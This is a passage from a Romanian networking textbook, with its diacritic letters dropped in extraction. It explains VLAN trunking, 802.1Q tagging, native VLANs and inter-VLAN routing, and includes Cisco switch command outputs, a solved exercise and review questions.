rutat.

2-15: Legturi acces/trunchi
O legtur de trunchi este capabil s suporte mai multe VLAN-uri, de obicei fiind folosit
pentru a conecta switchurile de alte switchuri sau de routere. O legtur de trunchi poate fi
privit ca o autostrad, pe care circul maini ce trebuie s ajung fiecare la destinaii diferite.
O legtur de trunchi nu aparine unui VLAN specific, responsabilitatea acesteia fiind s
acioneze ca i conexiune pentru VLAN-uri ntre switchuri i routere. Poate fi configurat
pentru a transporta toate VLAN-urile sau numai un numr limitat de VLAN-uri. Dac legtura
ntre switchuri nu este configurat drept legtur de trunchi, atunci implicit, numai
informaiile VLAN-ului 1 vor fi schimbate pe aceast legtur. O legtur de trunchi poate avea
un VLAN nativ, acesta fiind folosit dac legtur de trunchi cedeaz, dintr-un motiv oarecare.
2.3.3 Metode de identificare
Dup cum s-a observat mai sus, VLAN-urile pot fi create s se extind pe o mulime de
switchuri, switchurile fiind conectate ntre ele prin legturi de trunchi. ns, problema care
apare acum chiar i pentru un switch este cum va gestiona acesta cadrele schimbate pe
legtura de trunchi i cum identific VLAN-ul de care aparine un cadru?
Conceptul ce a fost introdus se bazeaz pe asignarea de ctre switch a unui identificator
unic fiecrui cadru, identificator ce reprezint VLAN-ul din care face parte (VLAN ID). Aceast
metod de modificare a cadrelor primite de switch poart numele de frame tagging. Fiecare
80 | R e e l e L o c a l e

switch ce primete un cadru, coninnd un marcaj de VLAN (tag), trebuie mai nti s identifice
identificatorul de VLAN (VLAN ID), dup care switchul se uit n tabela de filtrare pentru a lua o
decizie. Dac switchul ce a primit cadrul are numai o legtur de trunchi, atunci cadrul va fi
trimis pe aceasta. ns, o dat ce un cadru trebuie s ajung pe o legtur de acces, se verific
identificatorul de VLAN cu VLAN-ul ce se afl pe acea legtur, iar dac acestea corespund,
switchul nltur VLAN ID-ul i trimite cadrul pe acel segment de reea.
Scopul primar al metodelor de trunchiere este acela de a asigura comunicaia ntre
switchuri, ntr-o arhitectur bazat pe VLAN-uri. Cisco a creat ISL, acesta funcionnd numai
ntre echipamente Cisco. Dac se dorete un protocol de trunchiere ce nu este proprietar, se
va folosi IEEE 802.1Q. n cele ce urmeaz, va fi analizat standardul 802.1Q, metoda de
trunchiere ISL ne mai fiind suportat pe nicio platform Cisco Catalyst.
802.1Q reprezint standardul IEEE pentru marcarea cadrelor (frame tagging) ce
traverseaz o legtur de trunchi. Fiind un standard IEEE, acest protocol poate fi folosit cu
uurin ntre echipamentele ce provin de la diferii productori. 802.1Q nu ncapsuleaz
cadrul original, ci n schimb, insereaz un cmp de 4 octei n antetul cadrului Ethernet original,
recalculnd suma de control (FCS), nainte ca acesta s fie trimis pe o legtur de trunchi.
Overheadul pe care acest protocol l introduce este de 4 octei, ceea ce duce la o lungime
maxim a cadrului Ethernet de 1522 de octei.
Cmpul de 4 octei, inserat ntre cmpurile Adres Surs i Lungime/Tip, este format din
dou pri: primii 2 octei indic identificatorul protocolului VLAN, ce are ntotdeauna valoarea
0x8100, iar urmtorii 2 octei conin trei cmpuri. Sub-cmpul cel mai important este
identificatorul de VLAN, ce ocup cei mai puin semnificativi 12 bii, ceea ce indic faptul c o
legtur de trunchi ce utilizeaz protocolul 802.1Q poate suporta pn la 4096 de VLAN-uri.
Cmpul Prioritate (Priority) de 3 bii se refer la standardul IEEE 802.1p, de prioritate a
traficului. Acest cmp face distincia ntre traficul n timp real implementat hard i cel
implementat soft i de traficul intens pentru o mai bun calitate a serviciilor n Ethernet.

1 6 6 2 46-1500 4
Preambul
Adres
destinaie
Adres
surs
Lungime/Tip Date
Sum de
control
2-16: Structura cadrului Ethernet 802.3
1 6 6 4 2 46-1500 4
Preambul
Adres
destinaie
Adres
surs
TAG Lungime/Tip Date
Sum de
control
2-17: Structura cadrului 802.1Q
2B 3b 1b 12b
Identificator protocol
(0x8100)
Prioritate CFI VLAN ID
2-18: Structura cmpului TAG
Cmpul CFI (Canonical Format Indicator) de 1 bit era folosit s indice adresele MAC n
format Little Endian sau Big Endian. n prezent este un flag pentru anunarea existenei unui
cadru prestabilit 802.5 (Token Ring).
Not: Ce trebuie remarcat este faptul c aceast metod de trunchiere introduce o
suprancrcare de 4 octei cadrului Ethernet. Deoarece cadrele Ethernet nu trebuie s fie mai
mari de 1518 octei, informaia adiional ce este adugat va crea cadre ce depesc
81 | R e e l e E t h e r n e t

lungimea maxim admisibil. Acestea sunt denumite cadre baby giant, switchurile
raportnd astfel de cadre drept erori sau cadre prea mari. Pentru a rezolva aceast problem,
switchurile trebuie s neleag standardul IEEE 802.3ac, ce extinde lungimea maxim a
cadrului Ethernet la 1522 octei.
Standardul 802.1Q introduce conceptul de VLAN nativ. Cadrele ce aparin acestui VLAN nu
sunt modificate cnd sunt transportate pe o legtur de trunchi. VLAN-urile native mai sunt
cunoscute sub numele de VLAN-uri de management. Cnd se configureaz 802.1Q pe o
legtur de trunchi, trebuie configurat acelai VLAN nativ n ambele pri ale trunchiului.
Implicit, VLAN-ul nativ este VLAN 1, iar toate porturile sunt n acest VLAN cnd switchul este
pornit.
VLAN-ul nativ este utilizat pentru tot traficul nemarcat primit pe o legtur trunchi,
configurat cu 802.1Q. Aceast opiune este dorit n special numai pentru a asigura
comunicaia direct, fr modificarea cadrelor, ntre porturile capabile de 802.1Q i cele mai
vechi 802.3. Totui, n toate celelalte cazuri, poate deveni foarte duntoare (VLAN hopping),
deoarece cadrele asociate cu VLAN-ul nativ i pierd nu numai marcajul, identificatorul, ci i
clasa de prioritate (biii de prioritate) cnd sunt transportate pe o legtur 802.1Q. Din aceste
motive pierderea mijloacelor de identificare i de clasificare folosirea VLAN-ului nativ ar
trebui evitat. n cazurile n care acest lucru nu poate fi fcut, ntotdeauna se alege un VLAN
nefolosit, diferit de cel implicit, pentru VLAN-ul nativ al tuturor legturilor trunchi.
Pentru a exemplifica lucrurile menionate pn acum, se consider figura de mai jos.
Staia A ce se afl conectat pe portul A al switchului 1 (S1), dorete s trimit un pachet
staiei B, ce se afl conectat pe portul B al switchului 3 (S3). Legturile de trunchi au VLAN-
urile native configurate astfel: legtura dintre S1 i S2 este configurat cu VLAN nativ 100, iar
legtura dintre S2 i S3 este configurat cu VLAN nativ 200. Ambele staii de afl n VLAN 200.

2-19: Folosirea VLAN-ului nativ
nainte de descrierea efectiv a cadrelor ce sunt trimise ntre cele dou staii, cum este
organizat tabela de comutare a switchului S1? Aceasta va fi organizat pe seciuni separate
pentru fiecare VLAN. Cu alte cuvinte, fiecare asociere din tabele de comutare, pe lng
perechea <adresa_MAC-port>, va avea specificat i VLAN-ul cruia i aparine.
VLAN Interfa/port Adres MAC
200 A MAC A
300 C MAC C
200 D MAC B
2-20: Tabela de comutare a switchului S1
82 | R e e l e L o c a l e

Dup ce staia A afl toate informaiile necesare pentru construirea pachetului de date, l
transmite, acesta ajungnd pe portul A al switchului S1. Switchul S1 citete adresa MAC
destinaie i verific tabela de comutare pentru o eventual asociere. Aa cum se observ i n
tabelul de mai sus, pachetul va trimis pe portul D al switchului S1. Dar, nainte de trimiterea
pachetului, S1 va trebui s adauge informaia de nivel doi (VLANID), pe baza creia switchul S2
va ti crui VLAN s trimit cadrul. Se observ, ca dac VLAN-ul nativ este diferit de VLAN-ul
din care face parte staia ce transmite, switchul ce primete cadrul va trebui sa adauge
identificatorul de VLAN pentru pachetul respectiv. Cnd pachetul este primit de switchul S2,
acesta va urma aceeai pai de decizie, n schimb, va observa c VLAN-ul nativ al legturii de
trunchi pe care trebuie s transmit cadrul este acelai cu cel al staiei ce a transmis cadrul
respectiv (staia A). n urma acestui lucru, identificatorul de VLAN este ters i pachetul este
trimis switchului S3, ce l va trimite mai departe staiei B.
Succesiunea de pachete este urmtoarea:
De la staia A la switchul S1:
MAC destinaie MAC surs Lungime/Tip Date CRC
MAC B MAC A 0x0800 X X

De la switchul S1 la switchul S2:
MAC B MAC A 0x8100 200 0x0800 X X

De la switchul S2 la switchul S3:
MAC B MAC A 0x0800 X X

De la switchul S3 la staia B:
MAC B MAC A 0x0800 X X
2.4 Rutare ntre VLAN-uri
Staiile dintr-un VLAN fac parte din domeniul de broadcast definit de VLAN-ul respectiv,
putnd comunica ntre ele. VLAN-urile partiioneaz reeaua i separ traficul de nivel doi,
astfel nct dac dorim ca dou staii din VLAN-uri diferite s comunice ntre ele este nevoie de
un dispozitiv de nivel trei i anume un router. Deoarece pentru fiecare VLAN se utilizeaz de
obicei o adres de reea, comunicaia ntre VLAN-uri ar fi imposibil fr utilizarea unui router.
Pentru aceasta se poate folosi un router cu o interfa pentru fiecare VLAN, metod ns
foarte costisitoare pentru un numr mare de VLAN-uri i rar folosit, sau un router cu o
interfa care suport 802.1Q, interfa ce va fi conectat la un port de trunking.
Pentru un numr mic de VLAN-uri (dou sau maxim trei) se poate folosi un router cu dou
sau trei interfee Ethernet (Fast Ethernet), aa cum se arat n figura de mai jos. Fiecare
legtur a switchului cu routerul reprezint o legtur de acces, rutarea ntre VLAN-uri fiind o
rutare clasic, fiecare VLAN fiind vzut ca o reea separat.
83 | R e e l e E t h e r n e t


2-21: Router conectnd patru VLAN-uri, folosind interfee dedicate
ns, dac numrul VLAN-urilor crete, aceast metod este cu adevrat costisitoare din
punct de vedere al costului routerului. n schimb, putem configura o interfa Ethernet sau
Fast Ethernet a routerului pentru suport 802.1Q. n loc s se foloseasc interfee pentru
fiecare VLAN, se poate utiliza doar o singur interfa a routerului ce va crea o legtur de
trunchi ntre router i switch, routerul numindu-se n acest caz router-on-a-stick, aa cum se
arat n figura de mai jos. Interfaa de trunchi va fi mprit n subinterfee, fiecrei
subinterfee atribuindu-i-se o adres IP i o metod de trunchiere.

2-22: Router ce asigur comunicaia ntre VLAN-uri, folosind doar o singur interfa fizic
(router on a stick).
Not: Majoritatea routerelor nu suport trunking pe interfeele Ethernet, dei actualmente
exist IOS (Internetwork Operating System) pentru modelele 2610 ce ofer acest lucru.
2.5 Rezumat
Dup cum s-a prezentat, Ethernet se bazeaz pe un mediu de tip partajat (shared-media),
deci numai o singur staie poate transmite la un moment dat. Astfel, dac numrul nodurilor
pe un segment crete, probabilitatea de apariie a coliziunilor se va mri. Domeniul de
coliziune este acea zon dintr-o reea care va fi afectat de apariia unei coliziuni n interiorul
ei. Reeaua local poate fi mprit n domenii de coliziune separate prin intermediul unor
dispozitive din categoria switchurilor.
84 | R e e l e L o c a l e

Switchurile construiesc dinamic i menin o tabel de asocieri ntre adresele MAC i una
din interfeele sale, numit tabel de comutare. Aceast tabel este construit pe baza adresei
surs a cadrului primit pe unul dintre porturile switchului, n tabela de comutare fiind
introdus asocierea <MAC_surs port_intrare>.
Impactul redundanei asupra reelelor formate numai din switchuri este esenial. Pentru
identificarea buclelor de nivel legtur de date i ntreruperea lor s-a dezvoltat protocolul
numit STP - Spanning Tree Protocol, ce pornete de la construirea unui arbore de acoperire pe
graful determinat de dispozitivele de interconectare i de conexiunile dintre acestea.
O dezvoltare n domeniul interconectrii LAN-urilor este posibilitatea de separare a
topologiei logice de topologia fizic, lucru realizat prin VLAN-uri (Virtul LAN). VLAN-urile mpart
o reea bazat pe switchuri n domenii de broadcast separate, un lucru foarte important i
necesar din cauz c switchurile de nivel doi mpart reeaua n domenii de colizune
independente, neavnd niciun efect asupra domeniilor de broadcast. Un nou format pentru
cadrele Ethernet (802.1Q) a fost introdus pentru a oferi o modalitate mai simpl de
introducere a VLAN-urilor n organizaii.
2.6 Studiu de caz:
2.6.1 Comenzi pe switchuri Cisco
n acest studiu de caz se vor prezenta cteva output-uri de comenzi de pe switchurile
Catalyst model 2950 .
Dup cum se tie, switchurile nva dinamic adresele staiilor conectate la porturile lor. n
figura de mai jos switchul A are trei astfel de adrese n tabela de comutare, staiile fiind
conectate pe porturile 14, 16 i 17. Se observ patru intrri statice n tabela de comutare.
Prima adres MAC este cea a switchului, adres ce face parte din spaiul de adrese fizice
gestionat de Cisco
1
, iar celelalte trei sunt adrese MAC virtuale folosite de CatOS (Catalyst
Operating System) pentru adresarea multicast.
SwitchA#show mac-address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
All 0008.219f.5e40 STATIC CPU
All 0100.0ccc.cccc STATIC CPU
All 0100.0ccc.cccd STATIC CPU
All 0100.0cdd.dddd STATIC CPU
1 0004.4dbb.f220 DYNAMIC Fa0/14
1 0004.9a9d.56a0 DYNAMIC Fa0/16
1 0008.a326.13c4 DYNAMIC Fa0/17
Total Mac Addresses for this criterion: 7
Pentru afiarea doar a intrrilor dinamice se folosete comanda:
SwitchA#show mac-address-table dynamic
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
1 0004.4dbb.f220 DYNAMIC Fa0/14
1 0004.9a9d.56a0 DYNAMIC Fa0/16
1 0008.a326.13c4 DYNAMIC Fa0/17
Total Mac Addresses for this criterion: 3
Fiecare adres nvat de switch este inut n tabela de comutare o anumit perioad de
timp numit timp de mbtrnire (aging time), valoare implicit fiind de 300 de secunde.
SwitchB#show spanning-tree
VLAN0001
Spanning tree enabled protocol ieee
Root ID Priority 32768

1
http://standards.ieee.org/regauth/oui/oui.txt
85 | R e e l e E t h e r n e t

Address 0008.a327.8900
Cost 19
Port 6 (FastEthernet0/6)
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
Address 0008.219f.5e40
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Aging Time 300

Interface Role Sts Cost Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Fa0/4 Desg FWD 19 128.4 P2p
Fa0/6 Root FWD 19 128.6 P2p
Fa0/9 Desg FWD 19 128.9 P2p
Fa0/12 Desg FWD 19 128.12 P2p
Mai sus este prezentat ieirea comenzii show spanning-tree. Aceast comand este util
cnd se dorete aflarea rdcinii din propria reea, prioritatea i adresa MAC a acestuia.
Totodat se observ costul portului prin care se conecteaz root bridge-ul la switch. Acesta are
valoarea de 19, ceea ce indic faptul c switchul este conectat direct la root bridge pe portul 6.
Valorile timpilor de trimite a cadrelor BPDU (default 2 sec.) i de trecere din starea de blocking
n listening (Max Age) i apoi n learning i forwarding (Forward Delay) sunt la valorile
implicite. Se observ aici rolul (port rdcin Fa0/6) i statusul fiecrui port de pe switch,
toate cele patru fiind n starea de forwarding.
SwitchA#show mac-address-table aging-time
Vlan Aging Time
---- ----------
300
Dac se dorete numai o scurt prezentarea a opiunilor STP se poate folosi comanda
show spanning-tree summary, ceea ce indic numrul porturilor ce se afl n diferitele stri
STP i VLAN-ul din care acestea fac parte. n ieirea de mai jos patru porturi sunt n starea de
forwarding, n VLAN-ul 1.
SwitchB#show spanning-tree summary
Switch is in pvst mode
Root bridge for: none
EtherChannel misconfig guard is enabled
Extended system ID is enabled
Portfast Default is disabled
PortFast BPDU Guard Default is disabled
Portfast BPDU Filter Default is disabled
Loopguard Default is disabled
UplinkFast is disabled
BackboneFast is disabled
Pathcost method used is short

Name Blocking Listening Learning Forwarding STP Active
---------------------- -------- --------- -------- ---------- ----------
VLAN0001 0 0 0 4 4
---------------------- -------- --------- -------- ---------- ----------
1 vlan 0 0 0 4 4
Dac se dorete vizualizarea recalculrii topologiei de ctre STP i trecerea porturilor prin
diferitele stri la schimbarea unei staii de pe un port al switchului pe altul, se poate folosi
comanda:
SwitchB#debug spanning-tree events
Spanning Tree event debugging is on
SwitchB #
01:06:53: STP: VLAN0001 we are the spanning tree root
SwitchB #
01:06:54: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, chann
SwitchB #
01:06:57: set portid: VLAN0001 Fa0/6: new port id 8006
01:06:57: STP: VLAN0001 Fa0/6 -> listening
SwitchB #
01:06:58: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, chanp
SwitchB #
01:07:02: STP: VLAN0001 heard root 32768-0008.a327.8900 on Fa0/6
01:07:02: supersedes 32769-0008.219f.5e40
01:07:02: STP: VLAN0001 new root is 32768, 0008.a327.8900 on port Fa0/6, cost 19
01:07:02: STP: VLAN0001 sent Topology Change Notice on Fa0/6
SwitchB #
86 | R e e l e L o c a l e

01:07:12: STP: VLAN0001 Fa0/6 -> learning
SwitchB #
01:07:27: STP: VLAN0001 sent Topology Change Notice on Fa0/6
01:07:27: STP: VLAN0001 Fa0/6 -> forwarding
La pornirea switchului toate porturile se afl n VLAN-ul 1 pn la o nou atribuire. VLAN-
urile 1002 i 1004 sunt rezervate pentru reelele FDDI (Fiber-Distributed Data Interface), n
timp ce VLAN-urile 1003 i 1005 pentru reelele Token Ring.
SwitchC#show vlan brief
VLAN Name Status Ports
---- -------------------------------- --------- -------------------------------
1 default active Fa1/0/1, Fa1/0/2, Fa1/0/3
Fa1/0/4, Fa1/0/5, Fa1/0/6
Fa1/0/7, Fa1/0/8, Fa1/0/9
Fa1/0/10, Fa1/0/11, Fa1/0/12
Fa1/0/13, Fa1/0/14, Fa1/0/15
Fa1/0/16, Fa1/0/17, Fa1/0/18
Fa1/0/19, Fa1/0/20, Fa1/0/21
Fa1/0/22, Fa1/0/23, Fa1/0/24
Gi1/0/1, Gi1/0/2, Gi1/1/1
1002 fddi-default act/unsup
1003 trcrf-default act/unsup
1004 fddinet-default act/unsup
1005 trbrf-default act/unsup
Dup crearea VLAN-urilor i a legturilor de acces se observ adugarea acestora n
tabel:
SwitchC(config)#interface FastEthernet 1/0/14
SwitchC(config-if)#switchport mode access
SwitchC (config-if)#switchport access vlan 2
SwitchC #show vlan brief
VLAN Name Status Ports
---- -------------------------------- --------- -------------------------------
1 default active Fa1/0/1, Fa1/0/2, Fa1/0/3
Fa1/0/4, Fa1/0/5, Fa1/0/6
Fa1/0/7, Fa1/0/8, Fa1/0/9
Fa1/0/10, Fa1/0/11, Fa1/0/12
Fa1/0/13, Fa1/0/15, Fa1/0/17
Fa1/0/18, Fa1/0/19, Fa1/0/20
Fa1/0/21, Fa1/0/22, Fa1/0/23
Fa1/0/24, Gi1/0/1, Gi1/0/2
Gi1/1/1, Gi1/1/2
2 VLAN0002 active Fa1/0/14
3 VLAN0003 active Fa1/0/16

Not: Dac se atribuie un port unui VLAN ce nu exist, portul este inactiv pn ce se
creeaz VLAN-ul respectiv.
Numai porturile configurate ca porturi de acces sunt afiate.
SwitchC (config)#int fastEthernet 1/0/6
SwitchC (config-if)#switchport mode trunk
SwitchC (config-if)#switchport trunk encapsulation dot1q

SwitchC #show interface fastEthernet 1/0/6 switchport
Name: Fa1/0/6
Switchport: Enabled
Administrative Mode: dynamic auto
Operational Mode: down
Administrative Trunking Encapsulation: dot1q
Negotiation of Trunking: On
Access Mode VLAN: 1 (default)
Trunking Native Mode VLAN: 1 (default)
<...>
Dup crearea legturilor de trunchi, interfeele pe care s-au configurat metodele de
trunchiere vor fi marcate. Aceast comand afieaz: numele portului, modul administrativ i
operaional al portului, metoda de ncapsulare, modul de negociere, toate opiunile fiind n
starea implicit, cu excepia metodei de trunchiere. Modul implicit pentru porturile unui
switch este dynamic auto. Dac interfaa vecin cu care se conecteaz un port de pe switch
suport trunchiere i este configurat n modul de trunchiere, legtura dintre cele dou
porturi devine una de trunchi. Implicit, legturile de trunchi negociaz metodele de
87 | R e e l e E t h e r n e t

ncapsulare, metod gestionat de DTP Dynamic Trunking Protocol. Dac interfaa vecin
suport ISL i 802.1Q i ambele interfee sunt configurate s negocieze metoda de ncapsulare,
pe legtura de trunchi se va folosi ISL.
2.6.2 ncapsularea pachetelor: dot1q

Pentru topologia din imagine se definesc VLAN-uri astfel:
Toate staiile conectate pe port impar vor fi n VLAN 100, cele pe port par n VLAN 200
Legtura Sw1-Sw4 va fi trunchi cu VLAN nativ 100, restul legturilor vor fi configurate ca
i legturi de trunchi cu VLAN nativ 200
1. Scriei toate antetele cadrelor ce vor apare n cazul n care staia C i trimite un singur cadru
staiei F.
2. Cte domenii de coliziune i cte domenii de broadcast sunt n toat topologia?
3. Toat reeaua a fost reiniializat. Sunt trimise 3 pachete n reea: Staia A trimite un pachet
ctre staia C, apoi un pachet ctre D. F trimite un pachet ctre A. Ce intrri vor fi n tabela de
comutare a switchului Sw2?

Rezolvare:
1. Succesiunea de pachete este urmtoarea:
De la staia C la switchul Sw2:
MAC destinaie MAC surs Lungime/Tip Date CRC
MAC F MAC C 0x0800 X X

De la switchul Sw2 la switchul Sw1:
MAC F MAC C 0x8100 100 0x0800 X X

De la switchul Sw1 la switchul Sw4:
MAC F MAC C 0x0800 X X

De la switchul Sw4 la staia F:
MAC F MAC C 0x0800 X X

88 | R e e l e L o c a l e

2a. Domeniile de coliziune sunt mrginite de switchuri i routere. Fiecare port al
switchului se afl n alt domeniu de coliziune. Pentru legturile full-duplex nu vor mai exista
coliziuni, astfel porturile switchului negociate n full-duplex nu vor fi numrate ca domenii
distincte de coliziune. n cazul problemei de fa nu sunt precizate porturile ce ajung n starea
half-duplex, astfel se vor considera cele dou cazuri extreme: toate interfeele din reea sunt
half-duplex i cazul al doilea n care toate interfeele sunt full-duplex.
Dac toate porturile sunt half-duplex n reea vor exista 12 domenii de coliziune:
{Sw4(7), E}; {Sw3(7), D}; {Sw3(8), E}; {Sw1(7), A}; {Sw1(8), B}; {Sw2(7),
C}; {Sw1(1), Sw2(1)}; {Sw1(2), Sw3(1)}; {Sw1(4), Sw4(4)}; {R1(e0), Sw2(24)};
{R1(e1), X}; {R2(e1), Z}.
Reeaua dintre routerele R1 i R2 este o reea punct-la-punct n care nu pot exista
coliziuni.
Pentru cel de al doilea caz n care toate legturile sunt full-duplex nu va exista niciun
domeniu de coliziune n reea.
2b. Domeniile de difuzare sunt conectate doar de routere. Prin definirea de VLAN-uri i
switchurile limiteaz domenii de broadcast. n cazul topologiei singura modalitate de a asigura
conectivitatea ntre VLAN 100 i VLAN 200 este configurarea routerului R1 ca router-on-a-
stick. Pentru aceasta legtura dintre Sw2 i R1 trebuie s transporte ambele VLAN-uri.
Problematica domeniilor de broadcast se aplic doar reelelor multiacces, astfel pentru
reeaua dintre R1 i R2 (legtura serial) nu va exista un domeniu de difuzare.
Cele 4 domenii de broadcast sunt:
{R1(e0), A, C, D, F, Sw1(1), Sw1(2), Sw1(4), Sw1(7), Sw2(1), Sw2(7),
Sw2(24), Sw3(1), Sw3(7), Sw4(4), Sw4(7)}
{R1(e0), B, E, Sw1(1), Sw1(2), Sw1(4), Sw1(8), Sw2(1), Sw2(24), Sw3(1),
Sw3(8), Sw4(4)}
{R1(e1), X}
{R2(e0, Z}
3. Deoarece reeaua a fost reiniializat, tabelele de comutare ale switchurilor nu au nicio
intrare. Cnd staia A va trimite un pachet ctre staia C, switchul Sw1, avnd tabela de
comutare goal, va trimite pachetul pe toate porturile mai puin cel pe care a sosit. Dup cum
se tie switchurile i populeaz tabelele de comutare pe baza adreselor MAC surs a cadrelor
primite. Astfel, switchul Sw1, nainte de trimiterea pachetului primit de la staia A, va scrie n
tabela de comutare asocierea <MAC A port 7>. La fel, switchul Sw4 va scrie n tabela de
comutare asocierea <MAC A port 4>. Cnd pachetul va ajunge la switchul Sw2, acesta va
proceda similar, trimindu-l pe toate porturile mai puin cel pe care a venit, populnd
totodat tabela de comutare cu asocierea <MAC A port 1>.
Cnd staia A va trimite un pachet ctre staia D, procesul de nvare i de trimitere este
similar. n acest caz, switchul Sw2 nu va mai scrie n tabela de comutare asocierea MAC surs
port (<MAC A port 1>), aceast intrare existnd deja.
Cnd staia F va trimite un pachet ctre staia A, switchul Sw4 l va primi, verificnd adresa
destinaie, pe baza creia va lua o decizie. Cum adresa MAC destinaie este cea a lui A (MAC A) i
cum n tabela de comutare exist o intrare de tipul <MAC A port 4>, switchul Sw4 va
trimite pachetul pe portul 4, acesta ajungnd la switchul Sw1. Switchul Sw1 va verifica tabela
de comutare i va descoperi intrarea <MAC A port 7>, ceea ce l determin s trimit
pachetul pe portul 7, unde exist staia A.
Astfel, tabela de comutare a switchului Sw2 va avea n urma trimiterii celor 3 pachete o
singur intrare i anume <MAC A port 1>.
Adres MAC Port
MAC A 1
2-23: Tabela de comutare a switchului Sw2
89 | R e e l e E t h e r n e t

2.7 Realizarea unui bridge ntre conexiuni n Windows Server 2008
n unele cazuri i topologii este de dorit s se combine mai multe conexiuni de reea de pe
acelai calculator astfel nct Windows s le trateze ca pe singur reea iar membrii reelelor
s poat comunica ntre ei perfect transparent. De asemenea, aceast tehnic presupune i
includerea tuturor reelelor aflate n bridging ntr-un singur domeniu de broadcast.
Un alt avantaj al bridging-ului este faptul c pot fi combinate reele de tehnologii diferite
(wireless, Ethernet, chiar i Token Ring), atta timp ct echipamentul care realizeaz bridging-
ul deine interfeele corespunztoare n fiecare reea.

2-24: Realizarea unui bridge ntre mai multe conexiuni de reea
Tehnica de realizare a unui brigde ntre mai multe conexiuni de reea, pe Windows Server
2008 se reduce la selectarea a dou sau a mai multor conexiuni de reea din Network
Connections i la alegerea opiunii de Bridge Connections din meniul contextual obinut prin
clic dreapta.
Pe un calculator poate fi definit un singur bridge, dar acesta poate conine oricte reele.
Bridge-ul poate fi eliminat n orice moment din interfata Network Connections printr-un clic
dreapta pe el si alegerea opiunii de tergere. n mod asemntor, o conexiune poate fi
eliminat dintr-un bridge.
Atenie! Realizarea unui bridge ntre o conexiune spre o reea local i una spre Internet
este posibil dar trebuie inut cont de faptul c toate staiile din reeaua local vor trebui s
poat avea acces la Internet i s primeasc adrese din acelai subnet ca i adresa extern a
gateway-ului, ceea ce nu e ntotdeauna posibil din partea ISP-ului. De asemenea, trebuie avut
n vedere i faptul c expunerea staiilor din reeaua local n Internet poate reprezenta un risc
de securitate.

90 | R e e l e L o c a l e

ntrebri
1. Care este rezultatul segmentrii unei reele cu un switch ?
Crete numrul domeniilor de coliziune
Scade numrul domeniilor de coliziune
Crete numrul domeniilor de broadcast
Scade numrul domeniilor de broadcast

2. Care este numrul minim de adrese MAC asociate cu un switch de nivel doi?
Una
Dou
Attea cte porturi exist
Niciuna

3. Cte domenii de broadcast sunt n figura de mai jos ?

1
2
3
4

4. Ce nivel din stiva OSI este folosit de ctre switchurile Ethernet pentru a lua o decizie ?
Nivelul 1
Nivelul 2
Nivelul 3
Nivelul 4

5. Pe baza crei informaii un switch Ethernet poate lua o decizie ?
adresa IP
adresa MAC destinaie
adresa CAM
adresa MAC surs

6. Ce metod de comutare citete primii 64 de octei ai cadrului, nainte de trimitearea
acestuia?
91 | R e e l e E t h e r n e t

fast-forward
cut-through
fragment-free
store and forward

7. Care dintre urmtoarele afirmaii este adevrat despre VLAN-uri?
Trebuie s existe cel puin dou VLAN-uri definite ntr-o reea
Toate VLAN-urile sunt configurate pe porturile cele mai rapide, i implicit, informaia se
transmite celorlalte switchuri din reea
Reduc dimensiunea domeniului de broadcast
VLAN-urile mresc numrul de switchuri dintr-o reea

8. Care dintre urmtoarele afirmaii este adevrat cu privin la comutarea de nivel doi
(alegei dou variante)?
Un switch este un hub cu mai multe porturi
Un switch este o punte cu mai multe porturi
Switchurile nva adresele IP ale cadrelor i iau decizii pe baza acestora
Switchurile nva adresele MAC, examinnd cmpul surs al fiecrui cadru

9. Switchul dumneavoastr trebuie s fie setat ca root bridge. Care dintre urmtoarele
posibiliti va face acest switch s devin root bridge?
Setarea adresei MAC a switchului la o valoare minim
Setarea protocolului STP la o valoare minim
Setarea prioritii switchului la o valoare maxim
Setarea prioritii switchului la o valoare minim

10. Un switch Ethernet dispune de o tabel de comutare ca cea din figura de mai jos. Ce
decizie va lua switchul dac va primi cadrul cu adresa destinaie 00-00-3D-1F-11-03 i adresa
surs 00-00-3D-1F-11-01:
Staia Port 1 Port 2 Port 3 Port 4
00-00-3D-1F-11-01 X
00-00-3D-1F-11-02
00-00-3D-1F-11-03 X X
Va trimite cadrul pe toate porturile
Va trimite cadrul pe toate porturile, cu excepia portului 3
Va ignora cadrul
Va trimite cadrul pe portul 1

92 | R e e l e L o c a l e

3 Adresarea IP
Ce se nva din acest capitol?
Specificaiile protocolului IP
Noiuni de subnetting
Funcionarea protocolului ARP
Funcionarea protocolului DHCP
Configurri de reea n Linux
Configurri de reea n Windows
Cine este...
Vint Cerf este considerat printele Internetului". Dup ce a absolvit Universitatea
Stanford, a lucrat la IBM, iar apoi s-a ntors la Universitate la UCLA, unde a conectat
primele dou noduri a ARPAnet (predecesorul Internetului). A proiectat protocolul IP i a
contribuit la dezvoltarea protocolului TCP. Din 2005, Vint Cerf lucreaz la Google ca
vicepreedinte.
3.1 Prezentarea protocolului IP
Internetul a devenit o noiune familiar pentru societatea din prezent. Cu toate acestea, n
urm cu 20 de ani prea puini vizionari au intuit dezvoltarea pe care acesta urma s o
cunoasc. Multe dintre conceptele fundamentale ale infrastructurii IP de azi au fost definite n
acea perioad, precum formatul adresei IP, protocolul ARP, VLSM. Protocolul IP trebuia s
rspund schimbrii paradigmei de comunicaie de la o reea cu cteva locaii, precum
reeaua DARPA, la o reea cu mii de locaii cum era privit Internetul la mijlocul anilor `80.
Apariia calculatoarelor personale i extinderea reelei globale de comunicaie dincolo
centrele universitare au redefinit Internetul ca o reea cu sute de milioane de noduri.
Versiunea 4 a protocolului IP a reuit s rspund att cerinelor de ierarhizare a spaiului
de adrese impus de reelele anilor `80, ct i cerinelor de scalabilitate ale Internetului actual.
Pentru asigurarea scalabilitii au fost standardizate protocoale menite s adreseze rutarea
dinamic, translatarea de adrese, tunelarea pachetelor, etc.
Versiunea 6 a protocolului IP a fost iniial proiectat s asigure un spaiu de adrese mult
mai generos, dar i un numr de servicii ce lipsesc din IPv4, precum QoS sau prelucrarea mai
rapid a pachetelor. Cu toate acestea, prelucrarea suplimentar presupus de un antet de 40
de octei fa de unul de 20, precum i popularitatea deosebit de care se bucur IPv4 fac ca
ponderea reelelor IPv6 n structura actual a Internetului s rmn de sub 5%. Prin urmare,
